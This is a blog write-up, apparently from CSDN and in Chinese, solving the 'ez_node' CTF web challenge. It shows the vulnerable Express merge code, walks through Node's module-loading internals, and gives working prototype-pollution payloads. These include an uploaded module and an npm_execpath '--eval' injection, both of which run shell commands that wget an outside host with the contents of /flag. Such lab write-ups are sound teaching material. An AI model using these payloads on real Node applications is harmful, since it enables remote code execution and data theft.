[NSSRound#8 Basic]ez_node

文章介绍了使用Express框架构建的应用,涉及merge函数处理请求体,/upload路由处理文件上传并重命名,/pollution路由利用原型链污染技术,可能导致远程代码执行(RCE)漏洞。
摘要由CSDN通过智能技术生成

打开题目
在这里插入图片描述

源码
server.js

const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");

const PORT = process.env.port || 3000
const app = express();

global = "global"

app.listen(PORT, () => {
    console.log(`listen at ${PORT}`);
});

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}


let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());

app.use(express.static("./public"));

app.post("/upload", (req, res) => {
    try{
        let oldName = req.files[0].path;
        let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;
        fs.renameSync(oldName, newName);
        res.send({
            err: 0,
            url:
            "./upload/" +
            req.files[0].filename +
            path.parse(req.files[0].originalname).ext
        });
    }
    catch(error){
        res.send(require('./err.js').getRandomErr())
    }
});

app.post('/pollution', require('body-parser').json(), (req, res) => {
    let data = {};
    try{
        merge(data, req.body);
        res.send('Register successfully!tql')
        require('./err.js').getRandomErr()
    }
    catch(error){
        res.send(require('./err.js').getRandomErr())
    }
})

题目是express框架,首先给了merge函数可以用来原型链污染;/upload路由下对上传的文件重命名,返回json格式数据包括上传路径;/pollution路由下,首先进行merge函数污染,然后require导入err.js模块的getRandomErr()函数

err.js

obj={
    errDict: [
        '发生肾么事了!!!发生肾么事了!!!',
        '随意污染靶机会寄的,建议先本地测',
        '李在干神魔👹',
        '真寄了就重开把',
    ],
    getRandomErr:() => {
        return obj.errDict[Math.floor(Math.random() * 4)]
    }
}
module.exports = obj

getRandomErr()函数会从 errDict 数组中随机选择一个元素返回值

思路很简单就是原型链污染,不过本题的污染方式要从nodejs的load.js模块分析

原型链污染 源码分析
源码链接

首先找到trySelf函数

const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
if (!pkg || pkg.exports === undefined) return false;
if (typeof pkg.name !== 'string') return false;

调用 readPackageScope 函数,传递 parentPath 作为参数,并将返回值解构赋值给 pkg 和 pkgPath。如果 readPackageScope 返回 undefined,则将 {} 赋值给 pkg 和 pkgPath;两个if语句对pkg进行判断

继续追踪到readPackageScope函数

function readPackageScope(checkPath) {
  const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep);
  let separatorIndex;
  do {
    separatorIndex = StringPrototypeLastIndexOf(checkPath, sep);
    checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex);
    if (StringPrototypeEndsWith(checkPath, sep + 'node_modules'))
      return false;
    const pjson = readPackage(checkPath + sep);
    if (pjson) return {
      data: pjson,
      path: checkPath,
    };
  } while (separatorIndex > rootSeparatorIndex);
  return false;
}

遍历路径去找node_modules文件并尝试读取该路径下的package.json文件。如果找到了package.json文件,函数将返回一个包含data和path属性的对象

继续追踪readPackage函数

function readPackage(requestPath) {
  const jsonPath = path.resolve(requestPath, 'package.json');

  const existing = packageJsonCache.get(jsonPath);
  if (existing !== undefined) return existing;

  const result = packageJsonReader.read(jsonPath);
  const json = result.containsKeys === false ? '{}' : result.string;
  if (json === undefined) {
    packageJsonCache.set(jsonPath, false);
    return false;
  }

就是读取package.json文件

回到题目,我们可以尝试污染模块err.js中的getRandomErr()函数,然后再调用的时候即可实现rce
总结来说,在require非原生库的过程中,最终会去调用PkgPath和pkg.exports拼接起来的字符串所指定的文件
exp

obj={
    getRandomErr:() => {
        require('child_process').execSync('wget https://5i781963p2.yicp.fun:443/`cat /flag`')
    }
}
module.exports=obj

上传成功后,再原型链污染即可

{
	"__proto__": {
		"data": {
			"name": "./err.js",
			"exports": "./0af6bcb734d688bc91ca4717458078ab.js"
		},
		"path": "/app/upload"
	}
}

或者直接打

{
	"__proto__": {
		"data": {
			"name": "./err.js",
			"exports": "./preinstall.js"
		},
		"path": "/opt/yarn-v1.22.19",
		"npm_config_global": 1,
		"npm_execpath": "--eval=require('child_process').execFile('sh',['-c','wget\thttps://5i781963p2.yicp.fun/`cat /flag`'])"
	},
	"a": null
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值